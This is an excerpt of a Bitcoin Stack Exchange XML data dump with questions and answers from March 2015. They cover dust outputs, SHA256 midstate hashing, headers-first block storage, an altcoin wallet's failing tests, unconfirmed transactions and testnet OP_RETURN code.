  <row Id="36599" PostTypeId="2" ParentId="10986" CreationDate="2015-03-26T16:59:27.240" Score="1" Body="&lt;p&gt;Dusty outputs are really small sized outputs from a transaction.  Bitcoin transactions are 0 sum so what goes in must come out.  When you make a transaction to send some money from your address to another address, any remainder gets sent to a change address that you'll be in control of.  Now if that remainder is really small then it becomes &quot;dusty.&quot;  Then if you try to make another transaction with that dusty unspent output (UTXOs) miners will reject the transaction and it won't get confirmed, ergo the bitcoin won't move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin network depending on the version a miner is running has different definitions of what is considered dusty UTXOs.  If this site is correct &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/&quot; rel=&quot;nofollow&quot;&gt;version of bitcoind running on nodes&lt;/a&gt; the bulk of the network is at 0.10 and 0.9.*.&lt;a href=&quot;https://bitcoin.org/en/developer-guide#non-standard-transactions&quot; rel=&quot;nofollow&quot;&gt;For 0.9.3 the dust limit is 546 satoshis&lt;/a&gt;.  For version .10 I believe it is 546 and earlier versions of 0.9 I believe was higher at 10x around 5k satoshis.&lt;/p&gt;&#xA;" OwnerUserId="24828" LastActivityDate="2015-03-26T16:59:27.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36600" PostTypeId="2" ParentId="17575" CreationDate="2015-03-26T17:28:47.027" Score="2" Body="&lt;p&gt;Yes, Coinbase &lt;a href=&quot;https://sandbox.coinbase.com&quot; rel=&quot;nofollow&quot;&gt;now supports&lt;/a&gt; using the Testnet.&lt;/p&gt;&#xA;" OwnerUserId="2893" LastActivityDate="2015-03-26T17:28:47.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36601" PostTypeId="1" AcceptedAnswerId="36605" CreationDate="2015-03-27T05:05:21.507" Score="11" ViewCount="994" Body="&lt;p&gt;The design of Bitcoin allows computers to compute a hash with 2 iterations of the SHA256 compression function instead of 3 on all but 1 out of every 2^32 attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Satoshi chose SHA256d for Bitcoin, did he intend to allow this?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-03-27T05:40:43.757" Title="Did Satoshi intend to allow midstate computation to speed up hashing?" Tags="|sha256|midstate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36602" PostTypeId="2" ParentId="32880" CreationDate="2015-03-27T05:14:34.337" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://libertymusicstore.net/&quot; rel=&quot;nofollow&quot;&gt;Liberty Music Store is a place to buy and sell music with Bitcoin&lt;/a&gt;. It is geared towards simple user experience. The artist can keep 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(disclaimer: I am the author)&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-03-27T05:14:34.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36603" PostTypeId="2" ParentId="5121" CreationDate="2015-03-27T05:16:22.327" Score="0" Body="&lt;p&gt;You can &lt;a href=&quot;http://libertymusicstore.net/&quot; rel=&quot;nofollow&quot;&gt;buy and sell songs and albums on Bitcoin at Liberty Music Store&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is 100% legal and geared towards indie artists.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-03-27T05:16:22.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36604" PostTypeId="1" AcceptedAnswerId="36653" CreationDate="2015-03-27T05:25:46.560" Score="2" ViewCount="765" Body="&lt;p&gt;Assuming a full node running &lt;em&gt;Bitcoincore v0.10&lt;/em&gt; (with &lt;code&gt;txindex=1&lt;/code&gt;), how exactly does the new &quot;headers first&quot; functionality affect the structure of the blockchain data? (Specifically, the &lt;code&gt;blkxxxx.dat&lt;/code&gt; data, though perhaps I'm unaware of other files which are ancillary to the data structure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://bitcoin.org/en/release/v0.10.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;README.md for the release&lt;/a&gt; specifies that there's no v0.9.x back-compatibility for v0.10 blockchain &lt;code&gt;blk&lt;/code&gt; data. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because release 0.10.0 makes use of headers-first synchronization and&#xA;  parallel block download (see further), the block files and databases&#xA;  are not backwards-compatible with older versions of Bitcoin Core or&#xA;  other software:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Blocks will be stored on disk out of order (in the order they are&#xA;  received, really), which makes it incompatible with some tools or&#xA;  other programs. Reindexing using earlier versions will also not work&#xA;  anymore as a result of this.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How then, does the 0.10 version blk data get parsed by the client? And by extension, why does &quot;headers first&quot; change the structure at all, given it seems to logically set up &quot;a template&quot; for the Tx data to sit?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="83940" LastEditDate="2018-08-29T04:33:21.460" LastActivityDate="2018-08-29T04:33:21.460" Title="How does &quot;headers first&quot; affect BLKxxxx.dat structure?" Tags="|blockchain|bitcoin-core|block|database|block-header|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36605" PostTypeId="2" ParentId="36601" CreationDate="2015-03-27T05:33:32.007" Score="11" Body="&lt;p&gt;I think Satoshi was not aware that the hashing routine could be optimized by the use of a midstate when he first created bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look &lt;a href=&quot;https://bitcointalk.org/index.php?topic=626.msg6451#msg6451&quot;&gt;here&lt;/a&gt;, you can see that the first version of bitcoin that had the midstate optimization built into the miner was version 0.3.5 (it says 0.3.6 in the post, but you can see where someone quoted him that the post first read 0.3.5). He also says that it was implemented by someone called tcatm.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also in 0.3.6, faster hashing:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;- midstate cache optimisation thanks to tcatm&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Satoshi mentions tcatm again &lt;a href=&quot;https://bitcointalk.org/index.php?topic=696.0&quot;&gt;here&lt;/a&gt; when trying to encourage people to upgrade to 0.3.8 by telling them they will get a better hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible he knew it was possible and just didn't have time to implement it, I guess we'll probably never know for certain. But Gavin Andresen gave a talk on what Satoshi didn't know, and he speculated that Satoshi wasn't a very advanced cryptographer, based on some of the decisions made in bitcoin. As such, he may not have known about the inner workings of the hash function he selected, but just that SHA256d was regarded as a secure hash function.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: This may be the original post where tcatm proposed the midstate hashing optimization: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=648.0&quot;&gt;https://bitcointalk.org/index.php?topic=648.0&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-03-27T05:40:43.757" LastActivityDate="2015-03-27T05:40:43.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36606" PostTypeId="2" ParentId="36558" CreationDate="2015-03-27T05:35:16.760" Score="6" Body="&lt;p&gt;People often talk about SHA256 like it's a single operation, but it isn't. Rather, the input is broken up into 64-byte chunks, and then each chunk is put into a compression function. The state of the hash partway through hashing something does not depend on future parts of the data. Since the nonce is found in the second chunk, changing the nonce doesn't change the the state of the hash function after hashing the first chunk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful in other applications. For example, if you're hashing a large file, it means that you can hash it without loading the entire file into memory at once or loading it from disk multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The practical consequence of this for Bitcoin miners is that 99.99999998% of the time, you only need 2 iterations of the SHA256 compression function to check a possible block solution, instead of 3. In other words, you can mine 50% faster. Of course, since everyone else does this, that just means that the difficulty is higher for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;midstate is literally the &lt;em&gt;state&lt;/em&gt; &lt;em&gt;mid&lt;/em&gt;way through hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36601/did-satoshi-intend-to-allow-midstate-computation-to-speed-up-hashing&quot;&gt;Did Satoshi intend to allow midstate computation to speed up hashing?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-06-19T23:17:13.227" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36607" PostTypeId="2" ParentId="36604" CreationDate="2015-03-27T06:03:03.407" Score="5" Body="&lt;p&gt;To the best of my understanding, it's just that the blocks are stored in a different order. Headers first synchronization makes use of parallel downloads and the blocks are downloaded (and then stored) out of order. It used to be the case in older versions that blocks were downloaded and then stored in order, so that's whey they added the comment to the README. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it doesn't change the structure of how any individual block is stored, just that they are now likely to not be in the proper order. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-03-27T06:03:03.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36610" PostTypeId="1" CreationDate="2015-03-27T14:27:09.977" Score="0" ViewCount="434" Body="&lt;p&gt;I've been sent a bitcoinj fork which is meant to work for the android wallet I'm building. Unfortunately it seems to be causing a failure when tests are run during the wallet compile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error message when I try to compile the wallet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Running com.machadocrypto.kobocoin_android_wallet.util.BluetoothTest&#xA;Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.052 sec - in com.machadocrypto.kobocoin_android_wallet.util.BluetoothTest&#xA;Running com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest&#xA;Tests run: 3, Failures: 3, Errors: 0, Skipped: 0, Time elapsed: 0.039 sec &amp;lt;&amp;lt;&amp;lt; FAILURE! - in com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest&#xA;&#xA;formatMKOBOValue(com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest)  Time elapsed: 0.032 sec  &amp;lt;&amp;lt;&amp;lt; FAILURE!&#xA;org.junit.ComparisonFailure: expected:&amp;lt;[200]0000000000.00&amp;gt; but was:&amp;lt;[35]0000000000.00&amp;gt;&#xA;at org.junit.Assert.assertEquals(Assert.java:115)&#xA;at org.junit.Assert.assertEquals(Assert.java:144)&#xA;at com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest.formatMKOBOValue(GenericUtilsTest.java:75)&#xA;&#xA;formatUKOBOValue(com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest)  Time elapsed: 0.003 sec  &amp;lt;&amp;lt;&amp;lt; FAILURE!&#xA;org.junit.ComparisonFailure: expected:&amp;lt;[200]0000000000000&amp;gt; but was:&amp;lt;[35]0000000000000&amp;gt;&#xA;at org.junit.Assert.assertEquals(Assert.java:115)&#xA;at org.junit.Assert.assertEquals(Assert.java:144)&#xA;at com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest.formatUKOBOValue(GenericUtilsTest.java:97)&#xA;&#xA;formatValue(com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest)  Time elapsed: 0.003 sec  &amp;lt;&amp;lt;&amp;lt; FAILURE!&#xA;org.junit.ComparisonFailure: expected:&amp;lt;[200]0000000.00&amp;gt; but was:&amp;lt;[35]0000000.00&amp;gt;&#xA;at org.junit.Assert.assertEquals(Assert.java:115)&#xA;at org.junit.Assert.assertEquals(Assert.java:144)&#xA;at com.machadocrypto.kobocoin_android_wallet.util.GenericUtilsTest.formatValue(GenericUtilsTest.java:53)&#xA;&#xA;Running com.machadocrypto.kobocoin_android_wallet.util.Base43Test&#xA;Tests run: 2, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0 sec - in com.machadocrypto.kobocoin_android_wallet.util.Base43Test&#xA;Running com.machadocrypto.kobocoin_android_wallet.util.CryptoTest&#xA;Tests run: 5, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 5.254 sec - in com.machadocrypto.kobocoin_android_wallet.util.CryptoTest&#xA;&#xA;Failed tests: &#xA;GenericUtilsTest.formatMKOBOValue:75 expected:&amp;lt;[200]0000000000.00&amp;gt; but was:&amp;lt;[35]0000000000.00&amp;gt;&#xA;GenericUtilsTest.formatUKOBOValue:97 expected:&amp;lt;[200]0000000000000&amp;gt; but was:&amp;lt;[35]0000000000000&amp;gt;&#xA;GenericUtilsTest.formatValue:53 expected:&amp;lt;[200]0000000.00&amp;gt; but was:&amp;lt;[35]0000000.00&amp;gt;&#xA;&#xA;Tests run: 13, Failures: 3, Errors: 0, Skipped: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is coming from the kobocoinj. I've posted the error message on github&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/machado-rev/kobocoinj/issues/1&quot; rel=&quot;nofollow&quot;&gt;https://github.com/machado-rev/kobocoinj/issues/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give ANY tip on how to move forward from this? I'm just looking for the name of a file to edit that will cause ANY of the numbers in the failure message above to change. Once I'm in the right ball park at least I have something to work with. Right now I'm 99% done but dead in the water.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or pointers appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24689" LastEditorUserId="2306" LastEditDate="2015-04-05T18:38:15.303" LastActivityDate="2015-04-05T18:38:15.303" Title="My altcoin bitcoinj fork is failing when trying to compile an Android wallet" Tags="|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36611" PostTypeId="2" ParentId="4376" CreationDate="2015-03-27T14:28:41.140" Score="0" Body="&lt;p&gt;You can see a full list of Bitcoin exchanges at &lt;a href=&quot;http://bitcoinx.io/exchanges&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinx.io/exchanges&lt;/a&gt;, although I don't see a comparison component per say; but there is a rankings list of top Bitcoin exchanges to see which one is better. &lt;/p&gt;&#xA;" OwnerUserId="24838" LastActivityDate="2015-03-27T14:28:41.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36612" PostTypeId="1" AcceptedAnswerId="40614" CreationDate="2015-03-27T16:49:11.967" Score="2" ViewCount="1219" Body="&lt;p&gt;I've changed &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/f914f1a746d7f91951c1da262a4a749dd3ebfa71/src/amount.h#L20&quot; rel=&quot;nofollow&quot;&gt;MAX_MONEY&lt;/a&gt; to decrease the number of coins issued in my altcoin, but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2018-04-11T13:57:35.423" Title="Why doesn't changing MAX_MONEY change the maximum number of coins?" Tags="|altcoin-development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36613" PostTypeId="2" ParentId="36610" CreationDate="2015-03-27T16:51:08.073" Score="1" Body="&lt;p&gt;You've changed the MAX_MONEY parameter, so you need to change the tests that depend on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/machado-rev/kobocoin-android-wallet/blob/89fbe4629c8d60f7a89ffaa1dc56c28ec0678d54/wallet/test/com/kobocoin/android_wallet/util/GenericUtilsTest.java#L32&quot; rel=&quot;nofollow noreferrer&quot;&gt;This appears to be the offending file.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Changing MAX_MONEY will not change the maximum number of coins. See: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36612/why-doesnt-changing-max-money-change-the-maximum-number-of-coins&quot;&gt;Why doesn&amp;#39;t changing MAX_MONEY change the maximum number of coins?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-03-27T16:51:08.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36614" PostTypeId="1" CreationDate="2015-03-27T16:56:56.367" Score="1" ViewCount="10476" Body="&lt;p&gt;I tried to send a bitcoin transfer Wednesday evening and it is still unconfirmed. It says &quot;fees 0&quot; but I have my block chain account set to &quot;use recommended fee&quot; by default. Can anyone help me get this confirmed? If greatly appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is: &lt;a href=&quot;https://blockchain.info/tx/f054dbba378cea1b82168214cf28771f60c7cc30be0963b0b38498c7a0ec9166&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/f054dbba378cea1b82168214cf28771f60c7cc30be0963b0b38498c7a0ec9166&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24839" LastActivityDate="2016-03-15T11:14:13.810" Title="Transaction unconfirmed after almost 2 day! Help!" Tags="|unconfirmed-transactions|" AnswerCount="2" CommentCount="3" ClosedDate="2017-06-08T15:29:13.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="36615" PostTypeId="2" ParentId="36614" CreationDate="2015-03-27T17:36:45.747" Score="1" Body="&lt;p&gt;There are two obvious reasons why your tx remains unconfirmed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You have not included the recommended tx fee (that's probably your wallet's fault, unless you've manually overridden its default settings)&lt;/li&gt;&#xA;&lt;li&gt;You are spending an unconfirmed output: &lt;a href=&quot;https://blockchain.info/tx-index/81648421/0&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx-index/81648421/0&lt;/a&gt; (also an insufficient tx fee issue). Unless this output gets confirmed, the tx above will never get any confirmations.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Most probably the tx will get invalidated by the network soon and the &quot;spent&quot; funds will return to your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime I would suggest you to be careful with spending unconfirmed outputs (there is an option to disable the spending of unconfirmed outputs in the bitcoin-core client) and avoid it whenever it's possible. Also, including the appropriate fee will make your tx much more likely to get confirmed soon by the network.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-03-27T17:36:45.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36616" PostTypeId="2" ParentId="36614" CreationDate="2015-03-27T17:49:08.780" Score="1" Body="&lt;p&gt;I've pushed this transaction. It will be confirmed soon (I hope in an hour).&#xA;Next time do not spend unconfirmed outputs&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-03-27T17:49:08.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36618" PostTypeId="1" AcceptedAnswerId="36626" CreationDate="2015-03-27T18:58:11.080" Score="2" ViewCount="362" Body="&lt;p&gt;I'm attempting to make a transaction on the testnet with an OP_RETURN and a &#xA;change address in it, and then make a second OP_RETURN transaction from first transaction's change address in the same block. The way my code is currently written the second transaction shouldn't rely on the first transaction being processed (it gets coins from a faucet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simplified version of my code that maintains the problem (my &quot;write&quot; function is a modified version of &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/advanced.js#L24&quot; rel=&quot;nofollow&quot;&gt;this bitcoinjs-lib example&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var assert = require('assert'),&#xA;    bitcoin = require('bitcoinjs-lib'),&#xA;    blockchain = new (require('cb-helloblock'))('testnet'),&#xA;    dynamicKey,&#xA;    dynamicChangeKey;&#xA;&#xA;connect = function (callback) {&#xA;    dynamicKey = bitcoin.ECKey.makeRandom();&#xA;    dynamicChangeKey = bitcoin.ECKey.makeRandom();&#xA;&#xA;    write(&quot;Connecting to blockchain!&quot;, callback);&#xA;};&#xA;&#xA;message = function (callback) {&#xA;    dynamicKey = dynamicChangeKey;&#xA;    dynamicChangeKey = bitcoin.ECKey.makeRandom();&#xA;&#xA;    write(&quot;Posting to blockchain!&quot;, callback);&#xA;};&#xA;&#xA;write = function (arbitraryData, callback) {&#xA;    var address = dynamicKey.pub.getAddress(bitcoin.networks.testnet).&#xA;            toString();&#xA;&#xA;    blockchain.addresses.__faucetWithdraw(address, 2e4, function (err) {&#xA;&#xA;        if (err) return callback(err);&#xA;&#xA;        blockchain.addresses.unspents(address, function (err, unspents) {&#xA;            var tx,&#xA;                data,&#xA;                dataScript,&#xA;                unspent,&#xA;                txBuilt;&#xA;&#xA;            if (err) return callback(err);&#xA;&#xA;            tx = new bitcoin.TransactionBuilder();&#xA;            data = new Buffer(arbitraryData.toString());&#xA;            dataScript = bitcoin.scripts.nullDataOutput(data);&#xA;            unspent = unspents.pop();&#xA;&#xA;            tx.addInput(unspent.txId, unspent.vout);&#xA;            tx.addOutput(dataScript, 1000);&#xA;            tx.addOutput(dynamicChangeKey.pub.getAddress(bitcoin.networks.&#xA;                    testnet).toString(), 1000);&#xA;            tx.sign(0, dynamicKey);&#xA;            txBuilt = tx.build();&#xA;&#xA;            blockchain.transactions.propagate(txBuilt.toHex(), function (err) {&#xA;&#xA;                if (err) return callback(err);&#xA;&#xA;                // check that the message was propagated&#xA;                blockchain.transactions.get(txBuilt.getId(), function (err, &#xA;                        transaction) {&#xA;                    var actual,&#xA;                        dataScript2,&#xA;                        data2;&#xA;&#xA;                    if (err) return callback(err);&#xA;&#xA;                    actual = bitcoin.Transaction.fromHex(transaction.txHex);&#xA;                    dataScript2 = actual.outs[0].script;&#xA;                    data2 = dataScript2.chunks[1];&#xA;&#xA;                    assert.deepEqual(dataScript, dataScript2);&#xA;                    assert.deepEqual(data, data2);&#xA;&#xA;                    callback();&#xA;                });&#xA;            });&#xA;        });&#xA;    });&#xA;};&#xA;&#xA;log = function (value) {&#xA;    console.log(value);&#xA;};&#xA;&#xA;connect(message.bind(undefined, log));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When running this code the first transaction processes correctly, but the second one returns this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ [AssertionError: Invalid JSend Response {&quot;status&quot;:&quot;fail&quot;,&quot;message&quot;:&quot;Propagation unsuccessful&quot;,&quot;details&quot;:&quot;TX rejected&quot;}]&#xA;  name: 'AssertionError',&#xA;  actual: false,&#xA;  expected: true,&#xA;  operator: '==',&#xA;  message: 'Invalid JSend Response {&quot;status&quot;:&quot;fail&quot;,&quot;message&quot;:&quot;Propagation unsuccessful&quot;,&quot;details&quot;:&quot;TX rejected&quot;}' }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change line 15 to read&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    dynamicKey = bitcoin.ECKey.makeRandom();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    dynamicKey = dynamicChangeKey;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both transactions process correctly, so the problem is definitely in my use of the change key as the next transaction key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know where I'm messing up?&lt;/p&gt;&#xA;" OwnerUserId="24796" LastEditorUserId="2306" LastEditDate="2015-03-27T19:13:30.043" LastActivityDate="2015-03-27T23:28:46.993" Title="Why am I unable to post two transactions (the second from the change address of the first) in the same block?" Tags="|testnet|change|bitcoinjs|op-return|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36619" PostTypeId="2" ParentId="9244" CreationDate="2015-03-27T19:20:54.067" Score="1" Body="&lt;p&gt;StephenM347's answer is very good, but there is one little detail he got wrong. I'd post this as a comment to his answer, but I don't have enough reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stephen said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For example, there is no O character, because there is already a 0&#xA;  (zero) character, and the two could be confused really easily.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;The wiki&lt;/a&gt; says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A set of 58 alphanumeric symbols consisting of easily distinguished&#xA;  uppercase and lowercase letters (0OIl are not used)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A lowercase &quot;o&quot; is used, but the uppercase &quot;O&quot; and the number &quot;0&quot; are both excluded from base 58.&lt;/p&gt;&#xA;" OwnerUserId="24796" LastActivityDate="2015-03-27T19:20:54.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36620" PostTypeId="1" CreationDate="2015-03-27T19:35:13.723" Score="0" ViewCount="170" Body="&lt;p&gt;I know that when someone is able to find a block and hash that can be attached to the chain, he will be awarded with &quot;newly found bitcoins&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, isn't mining simply finding the hash? Where do these new bitcoins come from?&lt;/p&gt;&#xA;" OwnerUserId="24840" LastEditorUserId="5406" LastEditDate="2016-04-10T12:45:57.020" LastActivityDate="2016-04-10T12:45:57.020" Title="How are bitcoins generated during mining?" Tags="|mining-reward|coinbase-transaction|" AnswerCount="1" CommentCount="0" ClosedDate="2015-03-27T20:03:12.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="36621" PostTypeId="2" ParentId="36620" CreationDate="2015-03-27T19:58:49.783" Score="0" Body="&lt;p&gt;On a high level, the entire bitcoin network is built on the fact that all of the nodes are following the same rules. The rules state that whoever hashes the next block gets to mint a number of coins, so they can.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin white paper&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;By convention, the first transaction in a block is a special&#xA;transaction that starts a new coin owned by the creator of the block.&#xA;This adds an incentive for nodes to support the network, and provides&#xA;a way to initially distribute coins into circulation, since there is&#xA;no central authority to issue them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_Currency_Supply&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bitcoins are created each time a user discovers a new block. The rate&#xA;of block creation is approximately constant over time: 6 per hour. The&#xA;number of Bitcoins generated per block is set to decrease&#xA;geometrically, with a 50% reduction every four years. The result is&#xA;that the number of Bitcoins in existence will never exceed 21 million.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24796" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-27T19:58:49.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36622" PostTypeId="1" CreationDate="2015-03-27T20:02:39.430" Score="5" ViewCount="592" Body="&lt;p&gt;Litecoin resists GPU speedup by using an scrypt-based hashing function that takes some amount of memory to generate and verify. The problem with this is that the &lt;code&gt;r&lt;/code&gt; parameter needs to be set high enough that it is difficult to use a GPU, but low enough that low-memory clients (i.e. smartphones) can still efficiently verify blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a proof of work which takes significantly more memory to generate proof of work for a block than it does to verify that a block contains sufficient proof-of-work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard of two possible approaches: time-memory tradeoff with scrypt and a graph-theory hashing algorithm that takes lots of memory to find solutions.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2016-02-08T12:48:27.450" LastActivityDate="2016-02-08T12:48:27.450" Title="Is there a proof of work system which takes significantly more memory to generate than it does to verify?" Tags="|proof-of-work|mining-theory|" AnswerCount="3" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
